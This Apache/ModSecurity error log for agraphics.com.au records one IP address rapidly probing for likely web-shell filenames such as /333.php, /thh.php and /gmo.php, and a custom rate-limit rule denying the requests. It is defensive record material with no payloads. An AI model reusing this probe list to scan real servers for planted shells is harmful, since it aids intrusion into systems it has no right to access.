[Fri Feb 06 23:55:02.888902 2026] [:error] [pid 36928:tid 36935] [client 20.203.201.174:32976] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aYYO1ps7fyU8D36r-OqSTwAAAcM"]
[Fri Feb 06 23:55:04.324138 2026] [:error] [pid 3513:tid 3518] [client 20.203.201.174:52940] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/333.php"] [unique_id "aYYO2DSw3-HAlzpqSxzmnAAAAUM"]
[Fri Feb 06 23:55:21.601290 2026] [proxy_fcgi:error] [pid 15821:tid 15843] [client 20.203.201.174:33285] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:22.346497 2026] [proxy_fcgi:error] [pid 36857:tid 36876] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:22.586358 2026] [proxy_fcgi:error] [pid 36857:tid 36882] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:23.532134 2026] [proxy_fcgi:error] [pid 36857:tid 36877] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:23.770544 2026] [proxy_fcgi:error] [pid 36857:tid 36871] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:24.321477 2026] [proxy_fcgi:error] [pid 36857:tid 36881] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:24.746188 2026] [proxy_fcgi:error] [pid 36857:tid 36872] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:25.623294 2026] [proxy_fcgi:error] [pid 36857:tid 36862] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:25.864751 2026] [proxy_fcgi:error] [pid 36857:tid 36861] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:26.277871 2026] [proxy_fcgi:error] [pid 36857:tid 36867] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:26.676742 2026] [proxy_fcgi:error] [pid 36857:tid 36870] [client 20.203.201.174:60381] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:55:26.915817 2026] [:error] [pid 36857:tid 36880] [client 20.203.201.174:60381] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "aYYO7pVQwfj7Kp4Dd0EFKgAAAZU"]
[Fri Feb 06 23:55:28.615507 2026] [:error] [pid 36857:tid 36868] [client 20.203.201.174:3657] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "aYYO8JVQwfj7Kp4Dd0EFLQAAAYk"]
[Fri Feb 06 23:55:30.981220 2026] [:error] [pid 3381:tid 3433] [client 20.203.201.174:30604] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "aYYO8i81zqRg96ZREgiMggAAAFQ"]
[Fri Feb 06 23:55:33.661440 2026] [:error] [pid 3382:tid 3449] [client 20.203.201.174:65289] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/classgoto24.php"] [unique_id "aYYO9cIgU1HR0rhYrE92JAAAAIk"]
[Fri Feb 06 23:55:34.631988 2026] [:error] [pid 3382:tid 3452] [client 20.203.201.174:40563] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/030.php"] [unique_id "aYYO9sIgU1HR0rhYrE92JgAAAIw"]
[Fri Feb 06 23:55:36.565483 2026] [:error] [pid 3477:tid 3480] [client 20.203.201.174:40464] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/030.php"] [unique_id "aYYO-LL0Hdh40C7HYgWPDQAAAME"]
[Fri Feb 06 23:55:38.297674 2026] [:error] [pid 36928:tid 36947] [client 20.203.201.174:65298] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/030.php"] [unique_id "aYYO-ps7fyU8D36r-OqSZAAAAc8"]
[Fri Feb 06 23:55:40.026872 2026] [:error] [pid 37019:tid 37023] [client 20.203.201.174:3663] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/030.php"] [unique_id "aYYO_AkAjqd3bcgYBrt8EgAAAgI"]
[Fri Feb 06 23:55:40.870611 2026] [:error] [pid 36857:tid 36866] [client 20.203.201.174:3680] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "aYYO_JVQwfj7Kp4Dd0EFMgAAAYc"]
[Fri Feb 06 23:55:41.872284 2026] [:error] [pid 3381:tid 3427] [client 20.203.201.174:3389] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "aYYO_S81zqRg96ZREgiMkAAAAE4"]
[Fri Feb 06 23:55:43.741504 2026] [:error] [pid 15821:tid 15828] [client 20.203.201.174:26373] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "aYYO_3ARQa67J4c772kk8gAAAQM"]
[Fri Feb 06 23:55:45.340320 2026] [:error] [pid 46432:tid 46442] [client 20.203.201.174:26397] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thh.php"] [unique_id "aYYPAQbwJwu_od0kZjNCdAAAAkg"]
[Fri Feb 06 23:55:46.287100 2026] [:error] [pid 36928:tid 36954] [client 20.203.201.174:40479] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "aYYPAps7fyU8D36r-OqSawAAAdY"]
[Fri Feb 06 23:55:46.942318 2026] [:error] [pid 3381:tid 3420] [client 20.203.201.174:34077] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "aYYPAi81zqRg96ZREgiMlQAAAEc"]
[Fri Feb 06 23:55:47.810228 2026] [:error] [pid 37019:tid 37041] [client 20.203.201.174:34073] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "aYYPAwkAjqd3bcgYBrt8FQAAAhQ"]
[Fri Feb 06 23:55:48.632292 2026] [:error] [pid 3381:tid 3414] [client 20.203.201.174:60360] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fffff.php"] [unique_id "aYYPBC81zqRg96ZREgiMmAAAAEE"]
[Fri Feb 06 23:55:49.881021 2026] [:error] [pid 3513:tid 3529] [client 20.203.201.174:38684] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aYYPBTSw3-HAlzpqSxzmqAAAAU4"]
[Fri Feb 06 23:55:50.724962 2026] [:error] [pid 3381:tid 3424] [client 20.203.201.174:3491] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aYYPBi81zqRg96ZREgiMmwAAAEs"]
[Fri Feb 06 23:55:51.375501 2026] [:error] [pid 36928:tid 36939] [client 20.203.201.174:28147] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aYYPB5s7fyU8D36r-OqScQAAAcc"]
[Fri Feb 06 23:55:52.290958 2026] [:error] [pid 37019:tid 37039] [client 20.203.201.174:49147] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/indo.php"] [unique_id "aYYPCAkAjqd3bcgYBrt8FwAAAhI"]
[Fri Feb 06 23:55:53.040689 2026] [:error] [pid 36928:tid 36933] [client 20.203.201.174:34925] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "aYYPCZs7fyU8D36r-OqSdAAAAcE"]
[Fri Feb 06 23:55:54.514235 2026] [:error] [pid 3381:tid 3420] [client 20.203.201.174:49101] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "aYYPCi81zqRg96ZREgiMpQAAAEc"]
[Fri Feb 06 23:55:55.291833 2026] [:error] [pid 3381:tid 3414] [client 20.203.201.174:35624] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "aYYPCy81zqRg96ZREgiMpwAAAEE"]
[Fri Feb 06 23:55:57.411387 2026] [:error] [pid 3381:tid 3424] [client 20.203.201.174:32515] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fileas.php"] [unique_id "aYYPDS81zqRg96ZREgiMqgAAAEs"]
[Fri Feb 06 23:55:59.200885 2026] [:error] [pid 36928:tid 36949] [client 20.203.201.174:30882] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aYYPD5s7fyU8D36r-OqSfAAAAdE"]
[Fri Feb 06 23:56:00.897635 2026] [:error] [pid 15821:tid 15847] [client 20.203.201.174:30131] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aYYPEHARQa67J4c772kk-wAAARY"]
[Fri Feb 06 23:56:01.858315 2026] [:error] [pid 15821:tid 15845] [client 20.203.201.174:32522] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aYYPEXARQa67J4c772kk_AAAARQ"]
[Fri Feb 06 23:56:02.866980 2026] [:error] [pid 37019:tid 37022] [client 20.203.201.174:34080] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/yellow.php"] [unique_id "aYYPEgkAjqd3bcgYBrt8HQAAAgE"]
[Fri Feb 06 23:56:03.493430 2026] [:error] [pid 15821:tid 15829] [client 20.203.201.174:36790] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/33.php"] [unique_id "aYYPE3ARQa67J4c772kk_QAAAQQ"]
[Fri Feb 06 23:56:04.966302 2026] [:error] [pid 36928:tid 36945] [client 20.203.201.174:28101] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/33.php"] [unique_id "aYYPFJs7fyU8D36r-OqShwAAAc0"]
[Fri Feb 06 23:56:06.350635 2026] [:error] [pid 15821:tid 15830] [client 20.203.201.174:34062] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/33.php"] [unique_id "aYYPFnARQa67J4c772kk_wAAAQU"]
[Fri Feb 06 23:56:07.308224 2026] [:error] [pid 15821:tid 15834] [client 20.203.201.174:35631] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/33.php"] [unique_id "aYYPF3ARQa67J4c772klAQAAAQk"]
[Fri Feb 06 23:56:08.312600 2026] [:error] [pid 3513:tid 3519] [client 20.203.201.174:30106] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aYYPGDSw3-HAlzpqSxzmswAAAUQ"]
[Fri Feb 06 23:56:08.998862 2026] [:error] [pid 3477:tid 3499] [client 20.203.201.174:34088] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aYYPGLL0Hdh40C7HYgWPHQAAANQ"]
[Fri Feb 06 23:56:10.209776 2026] [:error] [pid 36928:tid 36949] [client 20.203.201.174:41336] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aYYPGps7fyU8D36r-OqSigAAAdE"]
[Fri Feb 06 23:56:11.545036 2026] [:error] [pid 36928:tid 36936] [client 20.203.201.174:3102] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aYYPG5s7fyU8D36r-OqSjQAAAcQ"]
[Fri Feb 06 23:56:13.096950 2026] [:error] [pid 37019:tid 37036] [client 20.203.201.174:34467] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aYYPHQkAjqd3bcgYBrt8IAAAAg8"]
[Fri Feb 06 23:56:14.058561 2026] [:error] [pid 46432:tid 46451] [client 20.203.201.174:52246] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aYYPHgbwJwu_od0kZjNCgQAAAlE"]
[Fri Feb 06 23:56:15.048125 2026] [:error] [pid 3382:tid 3464] [client 20.203.201.174:65006] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aYYPH8IgU1HR0rhYrE92RAAAAJg"]
[Fri Feb 06 23:56:18.557106 2026] [:error] [pid 3382:tid 3441] [client 20.203.201.174:64985] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aYYPIsIgU1HR0rhYrE92SgAAAIE"]
[Fri Feb 06 23:56:19.490772 2026] [:error] [pid 3381:tid 3435] [client 20.203.201.174:31747] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thxt.php"] [unique_id "aYYPIy81zqRg96ZREgiMxwAAAFY"]
[Fri Feb 06 23:56:20.931593 2026] [:error] [pid 3380:tid 3394] [client 20.203.201.174:64968] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thxt.php"] [unique_id "aYYPJBFAlUvBGSBK2jd6TwAAAAo"]
[Fri Feb 06 23:56:22.680407 2026] [:error] [pid 46432:tid 46444] [client 20.203.201.174:37197] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thxt.php"] [unique_id "aYYPJgbwJwu_od0kZjNCjAAAAko"]
[Fri Feb 06 23:56:24.158816 2026] [:error] [pid 46432:tid 46455] [client 20.203.201.174:60326] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/thxt.php"] [unique_id "aYYPKAbwJwu_od0kZjNCjwAAAlU"]
[Fri Feb 06 23:56:24.886659 2026] [:error] [pid 3380:tid 3388] [client 20.203.201.174:60340] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfile.php"] [unique_id "aYYPKBFAlUvBGSBK2jd6UQAAAAQ"]
[Fri Feb 06 23:56:26.535178 2026] [proxy_fcgi:error] [pid 36928:tid 36944] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:26.777584 2026] [proxy_fcgi:error] [pid 36928:tid 36945] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:27.018459 2026] [proxy_fcgi:error] [pid 36928:tid 36950] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:27.474485 2026] [proxy_fcgi:error] [pid 36928:tid 36954] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:27.720596 2026] [proxy_fcgi:error] [pid 36928:tid 36949] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:28.240008 2026] [proxy_fcgi:error] [pid 36928:tid 36955] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:28.484630 2026] [proxy_fcgi:error] [pid 36928:tid 36933] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:28.728145 2026] [proxy_fcgi:error] [pid 36928:tid 36942] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:29.692027 2026] [proxy_fcgi:error] [pid 36928:tid 36935] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:30.425153 2026] [proxy_fcgi:error] [pid 36928:tid 36940] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:30.664030 2026] [proxy_fcgi:error] [pid 36928:tid 36948] [client 20.203.201.174:28319] AH01071: Got error 'Primary script unknown'
[Fri Feb 06 23:56:30.899186 2026] [:error] [pid 36928:tid 36952] [client 20.203.201.174:28319] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aYYPLps7fyU8D36r-OqStAAAAdQ"]
[Fri Feb 06 23:56:32.205077 2026] [:error] [pid 3513:tid 3536] [client 20.203.201.174:42631] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aYYPMDSw3-HAlzpqSxzmvwAAAVU"]
[Fri Feb 06 23:56:34.057393 2026] [:error] [pid 36928:tid 36939] [client 20.203.201.174:60299] [client 20.203.201.174] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aYYPMps7fyU8D36r-OqStgAAAcc"]
